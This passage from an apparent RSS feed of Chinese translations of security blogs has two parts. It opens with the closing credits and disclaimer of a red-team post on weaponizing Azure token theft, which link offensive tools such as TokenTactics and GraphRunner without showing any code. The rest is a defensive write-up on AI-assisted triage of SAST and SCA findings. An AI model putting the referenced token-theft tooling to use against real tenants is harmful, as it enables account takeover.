400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">敬请期待这一系列博客的第 2 部分,届时我会专门聚焦于针对 token 窃取攻击者的反制与干扰。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后,我也要特别感谢本博客中提到的以下工具集,以及为它们投入大量时间和开发精力的优秀作者们。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">@_dirkjan - Dirk-jan Mollema ROADtools</span><span leaf=""><br/></span><u><span leaf=""><a href="https://github.com/dirkjanm/ROADtools" target="_blank">https://github.com/dirkjanm/ROADtools</a></span></u></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">@424f4f424f - Steve Borosh - TokenTactics</span><span leaf=""><br/></span><u><span leaf=""><a href="https://github.com/rvrsh3ll/TokenTactics" target="_blank">https://github.com/rvrsh3ll/TokenTactics</a></span></u></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">@fabian_bader - Fabian Bader - TokenTacticsV2</span><span leaf=""><br/></span><u><span leaf=""><a href="https://github.com/f-bader/TokenTacticsV2" target="_blank">https://github.com/f-bader/TokenTacticsV2</a></span></u></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">@dafthack - Beau Bullock - GraphRunner</span><span leaf=""><br/></span><u><span leaf=""><a href="https://github.com/dafthack/GraphRunner" target="_blank">https://github.com/dafthack/GraphRunner</a></span></u></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">向 AzureHound 的全体贡献者团队致敬</span><span leaf=""><br/></span><u><span leaf=""><a href="https://github.com/BloodHoundAD/AzureHound" target="_blank">https://github.com/BloodHoundAD/AzureHound</a></span></u></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://trustedsec.com/blog/weaponization-of-token-theft-a-red-team-perspective">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6d8db7cf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496019%26idx%3D1%26sn%3D08d2045a47bb87cc7fc7862c39fe9e69">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 09 May 2026 17:40:00 +0800</pubDate>
    </item>
    <item>
      <title>用 AI 规模化漏洞管理：哪些方法是真正奏效的</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495989&amp;idx=1&amp;sn=b1c45899a57009cf590e0e33ccc21dd7</link>
      <description>安全团队通过归档过时仓库、自动化分级分类（SAST/SCA）以及多智能体协同验证与修复，将漏洞管理流程实现了近乎全自动化，大幅减少了人工介入和开发者上下文切换的负担。</description>
      <content:encoded><![CDATA[<p><span>Gianluca</span> <span>2026-05-08 12:20</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=02064850&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShE8EPKicc0Wbwar4TJTiaMtnMQNvyB4YHbAZa3vPlp6dtQXLN26kK35nrbibFpJ69CoRhQv0B5vJYiaOkmcbDQ3s5iaicricSVA3c4F8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>安全团队通过归档过时仓库、自动化分级分类（SAST/SCA）以及多智能体协同验证与修复，将漏洞管理流程实现了近乎全自动化，大幅减少了人工介入和开发者上下文切换的负担。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.synthesia.io/post/scaling-vulnerability-management-with-ai-what-actually-worked" target="_blank">https://www.synthesia.io/post/scaling-vulnerability-management-with-ai-what-actually-worked</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Gianluca Brindisi</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">随着产品规模不断扩大、工程师们纷纷采用 AI 工具，安全团队需要保护免受漏洞影响的代码量也与日俱增。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们的工具产生了大量安全信号，而我们的瓶颈比以往任何时候都更在于规模：要快速发现真实问题、完成验证，并在 SLA 规定时限内把修复推上线。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">验证和修复是最慢的两个环节：两者都需要跨多个我们未必熟悉的代码仓库去分析功能代码，最终还得把代码原作者拉来处理这个安全问题，迫使他们切换上下文，徒增认知负担。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从去年夏天开始，我们决定按以下两条原则来改善现状：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">将开发者在安全工作中的认知负担降到最低</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">将安全团队的重复性劳动降到最低：能自动化的，就该自动化</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们开始尝试编码智能体能否加速漏洞验证与修复，最终搭建起一套由 AI 驱动的漏洞管理项目的基础框架。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们的首要目标是代码漏洞，因为这类漏洞所需的上下文最少。我们重点处理静态分析 (SAST) 和供应链 (SCA) 的发现项，因为这两类发现的流入量最大。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">缩减积压</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">首先，我们将过时的代码仓库从攻击面中移除。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们运行自动化流程来检测过时的仓库，断开 CI/CD 连接，并将其设置为只读。当我们归档某个仓库时，便不再追踪其漏洞，因为该代码已不再运行。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在初期阶段，我们分批次推进此项工作，以处理大量长尾问题。我们归档了约三分之一的代码仓库，关闭了约 60% 的发现项。在归档前，我们与负责人逐一确认，同时通过删除容器镜像等旧有构建产物来回收存储空间。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来，我们把工作重心落到 &#34;如何按业务风险给仓库分级&#34; 这件事上：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">是否触及客户数据？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">是否随核心产品一起发布？</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">是否直接对客户暴露？</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">三项均为是：第 1 级。至少一项为是：第 2 级。全部为否：第 3 级。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">分级机制为验证和优先级排序引入了业务上下文，同时也是潜在影响的代理度量。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">自动化分类</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">即便仓库集合已经收紧，我们仍然要应对来自 SAST 和 SCA 的大量发现项。我们的假设是：其中大多数并不需要人工审查。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们构建了每晚运行的工作流，应用分层的分类规则。每一层对应一项策略决策。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">基于严重性的分类</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">低于某一风险阈值的发现项会被自动归类为已接受。对于小团队来说，我们必须合理分配资源。如果低优先级仓库中的低风险发现项不断在待办里堆积，会拖慢我们的节奏。把这条策略明确下来并自动化，团队就能腾出手来专注真正重要的事。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这让进入流转的 SAST 问题量减少了约 29%。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">AI 辅助误报检测</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们的主要 SAST 提供商 Semgrep 推出了一项名为 Assistant 的功能，能借助 AI 把发现项标记为疑似真实发现或疑似误报。我们对它做了一段时间的基准测试，发现在结合所分析代码库的即时上下文之后，Assistant 几乎总能把显而易见的误报准确识别出来。在对该工具建立起足够的信任之后，我们将其接入流程：凡被标记为误报的发现项均会自动关闭。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们还注意到，当上下文缺失时，Assistant 会偏向把结果判为真实发现——这与我们的风险偏好相符：比起漏掉一个真实漏洞，我们宁愿手动关闭一个误报。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们还把 Assistant 的输入用来对主要策略中所用的 Semgrep 规则做基准评估。噪声大的规则会被重新审视，要么调优、要么移除；信噪比高的规则则获得更高的信任度。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">供应链分析</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对于 SCA 的发现项，我们把 EPSS 评分、依赖项可达性分析以及系统分级 (作为业务影响的代理度量) 结合在一起使用。一个第 3 级仓库里不可达的依赖项，与一个处理客户数据的第 1 级仓库里可达且 EPSS 高的漏洞，根本不是一回事。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这一层自动分类了约 89% 的 SCA 发现项，剩下的就是值得人工审查的案例。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结果</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">所有层级运行完毕后：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 56, 120);"><span leaf="">SAST weekly (71% Auto triaged)</span></span><span leaf=""><br/></span><span style="color: rgb(34, 134, 58);"><span leaf="">Severity-based triage</span></span><span leaf="">:                  </span><span style="color: rgb(0, 56, 120);"><span leaf="">29%</span></span><span leaf=""><br/></span><span style="color: rgb(34, 134, 58);"><span leaf="">Semgrep false positive detection</span></span><span leaf="">:       </span><span style="color: rgb(0, 56, 120);"><span leaf="">16%</span></span><span leaf=""><br/></span><span style="color: rgb(34, 134, 58);"><span leaf="">Auto resolved (archived, code changes)</span></span><span leaf="">: </span><span style="color: rgb(0, 56, 120);"><span leaf="">26%</span></span><span leaf=""><br/></span><span style="color: rgb(34, 134, 58);"><span leaf="">Remaining for human review</span></span><span leaf="">:             </span><span style="color: rgb(0, 56, 120);"><span leaf="">29%</span></span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">SCA weekly (89% Auto triaged)</span></span><span leaf=""><br/></span><span style="color: rgb(34, 134, 58);"><span leaf="">EPSS, Reachability and Business Impact</span></span><span leaf="">: </span><span style="color: rgb(0, 56, 120);"><span leaf="">89%</span></span><span leaf=""><br/></span><span style="color: rgb(34, 134, 58);"><span leaf="">Remaning for human review</span></span><span leaf="">:              </span><span style="color: rgb(0, 56, 120);"><span leaf="">11%</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每天早晨，我们的自动化系统会在 Slack 中发布一份摘要：按工作流和严重性分类的处理结果，以及各规则表现的细项分析。这是我们用来快速确认系统是否按预期运行的检查机制。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 